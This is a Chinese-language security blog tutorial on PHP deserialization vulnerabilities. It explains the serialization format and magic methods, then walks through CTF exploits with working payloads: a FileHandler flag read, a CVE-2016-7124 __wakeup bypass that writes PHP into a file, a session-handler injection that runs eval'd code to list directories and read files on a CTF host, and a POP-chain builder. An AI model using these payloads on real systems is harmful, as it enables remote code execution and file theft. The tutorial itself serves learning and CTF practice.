PHP反序列化学习与实践

admin 2022年1月6日01:11:10安全博客评论8 views13076字阅读43分35秒阅读模式

概念

反序列化:PHP程序为了保存和转储对象,提供了序列化的方法,PHP序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

基本上都是围绕这两个函数来展开的,通俗的说反序列化和序列化的意思。

序列化:将对象转换成字符串。

反序列化:将序列化后的字符串转换为对象还原。

这两个关系相当于一正一反。

PHP序列化

PHP序列化的函数为serialize。反序列化的函数为unserialize。

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class test
{

private $flag = "111";
protected $a1 = "aaa";
public $b2 = "bbb";

public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag()
{
return $this->flag;
}
}
$test = new test;
$test->set_flag('ol4three');
$data = serialize($test);
echo $data;
?>

反序列化可以控制类属性,无论是private还是public

1
2
3
╰─$ php test.php
O:4:"test":3:{s:10:"testflag";s:8:"ol4three";s:5:"*a1";s:3:"aaa";s:2:"b2";s:3:"bbb";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

image-20210122153805620

这里说明一下序列化字符串的含义:
O:4:"test"指Object(对象) 4个字符:test
:3对象属性个数为3
{}中为属性字符数:属性值

image-20210122154217382

注意:如果你是细心的同学,你可能会注意到一个小问题,按照我前面对象名的格式算的话你可能会发现后面的属性名有些另类,你看啊,我代码里面明明写的是
flag 属性,序列化以后却变成了 testflag ,而且前面说好的长度也不一样了,testflag
明明是8个字符,到你这里却成了10个,除此之外后面的 test 属性也“变异了”,前面多了个(
)并且长度也不对,这到底是为什么呢?

这涉及到PHP的属性的访问权限序列化为了能把整个类对象的各种信息完完整整的压缩,格式化,必然也会将属性的权限序列化进去,我们发现我们定义的类的属性有三种 private protected 和 默认的 public(默认属性),其中

1.Public权限

Public是几个字符就是几个字符

2.Private 权限

该权限是私有权限,也就是说只能 test类使用,于是在序列化的时候必须加入一些标志,所以私有属性序列化为

1
%00类名%00属性名

查看一下我们的序列化的结果

1
2
3
4
5
6
7
8
╰─$ php test.php > a.txt
╰─$ xxd a.txt
00000000: 4f3a 343a 2274 6573 7422 3a33 3a7b 733a O:4:"test":3:{s:
00000010: 3130 3a22 0074 6573 7400 666c 6167 223b 10:".test.flag";
00000020: 733a 383a 226f 6c34 7468 7265 6522 3b73 s:8:"ol4three";s
00000030: 3a35 3a22 002a 0061 3122 3b73 3a33 3a22 :5:".*.a1";s:3:"
00000040: 6161 6122 3b73 3a32 3a22 6232 223b 733a aaa";s:2:"b2";s:
00000050: 333a 2262 6262 223b 7d 3:"bbb";}

image-20210122155117222

3.Protected

根据上图的结果可以看到Protected的序列化结果为

1
%00*%00属性名

编写反序列化

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class test
{

private $flag = "111";
protected $a1 = "aaa";
public $b2 = "bbb";

public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag()
{
return $this->flag;
}
}
$test = file_get_contents('a.txt');
$test = unserialize($test);
echo $test->b2."<br>";
echo $test->get_flag();
?>
1
2
╰─$ php test1.php
bbb<br>ol4three%

image-20210122155845669

魔术方法

  • __construct:在创建对象时候初始化对象,一般用于对变量赋初值。
  • __destruct:和构造函数相反,当对象所在函数调用完毕后执行。
  • __toString:当对象被当做一个字符串使用时调用。
  • __sleep:序列化对象之前就调用此方法(其返回需要一个数组)。
  • __wakeup:反序列化恢复对象之前调用该方法。
  • __call:当调用对象中不存在的方法会自动调用该方法。
  • __get:在调用私有属性的时候会自动执行。
  • __isset( )在不可访问的属性上调用isset( )或empty( )触发。
  • __unset( )在不可访问的属性上使用unset( )时触发。

比较重要的方法

__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php 
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}

public function getInfo(){
echo $this->info . '<br>';
}
/**
* serialize前调用 用于删选需要被序列化存储的成员变量
* @return array [description]
*/
public function __sleep(){
echo __METHOD__ . '<br>';
return ['ID', 'sex', 'age'];
}
/**
* unserialize前调用 用于预先准备对象资源
*/
public function __wakeup(){
echo __METHOD__ . '<br>';
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
}

$me = new Caiji('twosmi1e', 20, 'male');

$me->getInfo();
//存在__sleep(函数,$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>';

$me = unserialize($temp);
//__wakeup()组装的$info
$me->getInfo();

?>

image-20210122163525137

__toString()

__toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj; 应该是显示些什么。此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR级别的致命错误

实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}

public function __toString(){
return $this->info;
}
}

$me = new Caiji('ol4three', 18, 'male');
echo '__toString:' . $me . '<br>';
?>

image-20210122164141294

热身题

实例:

题目是网鼎杯中青龙组的一道历年真题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

分析:

1
2
3
4
5
6
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

isset判断get传过来的参数有没有数据。然后if判断,这里用到了一个过滤的函数,我们不用管。

$obj = unserialize($str);这里使用到了一个反序列化的函数。反序列化GET传过来的参数。

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

在这里可以看到当对象结束(销毁)的时候会调用这个函数,我们可以看到if 判断op === “2”

然后调用process();

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

我们可以看到,如果op == “1” 会调用write写入函数,如果op == “2”” 的话,会调用read函数。

所以需要使得op = “2”才能获取flag 上面__destruct()函数中为op === “2”

利用PHP弱类型的特性使得 op=” 2”即可绕过 === 时使得后面语句无法使用==空格会先做转义

然后执行read()函数

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

构造语句:

1
2
3
4
5
6
7
8
9
<?
class FileHandler{
public $op = ' 2';
public $filename = 'flag.php';
public $content = 'ol4three';
}
$flag = new FileHandler();
echo serialize($flag);
?>
1
2
╰─$ php test.php
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:8:"ol4three";}

payload:

1
http://127.0.0.1:8080?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:8:"ol4three";}

image-20210122172140545

反序列化对象注入

CVE-2016-7124 __wakeup绕过

概要

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

构造序列化对象:O:1:”A”:1:{s:6:”target”;s:18:”“;}
绕过__wakeup:O:2:”A”:1:{s:6:”target”;s:18:”“;}

漏洞影响版本

php5 < 5.6.25
php7 < 7.0.10

漏洞复现

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?    
class A{
public $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("/Library/WebServer/Documents/hello.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$a = $_GET['test'];
$b = unserialize($a);
echo "hello.php"."<br/>";
include("./hello.php");
?>

魔法函数__wakeup()要比__destruct()先执行,所以我们之间传入
O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
时会被先执行的__wakeup()函数$target赋值覆盖为wakeup!,然后生成的hello.php里面的内容就是wakeup!

image-20210122174039083

现在我们根据绕过方法:对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行,对象个数原来是1我们将其改为2,也就是
O:2:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
就能实现绕过

image-20210122180744274

image-20210122180753722

Session 反序列化漏洞

简介

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化
在php.ini中有以下配置项,wamp的默认配置如图

image-20210122194708328

image-20210122194716896

session.save_path 设置session的存储路径
session.save_handler 设定用户自定义存储函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话
session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php
除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同

  • php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
  • php 键名+竖线+经过serialize()函数反序列处理的值
  • php_serialize serialize()函数反序列处理数组方式

存储机制

php中的session内容是以文件方式来存储的,由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。
来测试一个demo

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['name'] = 'ol4three';
?>

运行后在配置文件设定的路径中会生成一个session文件

存储引擎为php_serialize:

image-20210122200533548

存储引擎为php:

image-20210122200603005

存储引擎为php_binary:

image-20210122200634452

三种处理器的存储格式差异,就会造成在session序列化和反序列化处理器设置不当时的安全隐患。

如何利用

Jarvisoj Web

题目地址:http://web.jarvisoj.com:32784/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

http://web.jarvisoj.com:32784/index.php?phpinfo

先来看一看phpinfo里的内容 php版本:5.6.21
php大于5.5.4的版本中默认使用php_serialize规则

image-20210122201357854

默认为php_serialize而index.php中又使用了php,反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。

image-20210125094633177

PHP手册
Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

了解了之后,就可以通过POST方法来构造数据传入$_SESSION
构造POST提交表单

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

构造序列化字符串

1
2
3
4
5
6
7
8
9
<?php
class OowoO
{
public $mdzz='print_r(dirname(__FILE__));';
}
$obj = new OowoO();
$a = serialize($obj);

var_dump($a);

注意需要转义,抓包吧filename改为payload
最终提交为:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

image-20210125100500866

目录/opt/lampp/htdocs
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}读目录

image-20210125100541463

file_get_contents函数读flag
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

image-20210125100717889

POP链构造

POP:面向属性编程

面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。

基本概念

在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。

pop链利用

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

实战训练

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."this_i3_you4_flag";
}
}
$a = $_GET['string'];
unserialize($a);
?>

可以看到需要执行GetFlag类中的get_flag()函数,这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。

  1. string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。
  2. 发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。
  3. funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
  4. Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
  5. 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为start_gg类的对象,等待__destruct()自动调用。

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}

class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象

}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象

}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象

image-20210125101611775

总结

反序列化漏洞一般都是在白盒审计时发现并利用,需要构造PHP序列化代码,利用条件比较苛刻。

总结一下PHP反序列化的挖掘思路,首先进行反序列化的数据点是用户可控的,然后反序列化类中需要有魔术方法,魔术方法中存在敏感操作,或者魔术方法中无敏感操作,但是其对象调用了其他类中的同名函数,可以通过构造POP链利用。

另外再贴一些相关文章,希望对大家有所帮助

参考链接

https://xz.aliyun.com/t/6753

https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/3674

FROM :ol4three.com | Author:ol4three

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:11:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  PHP反序列化学习与实践 http://cn-sec.com/archives/721300.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: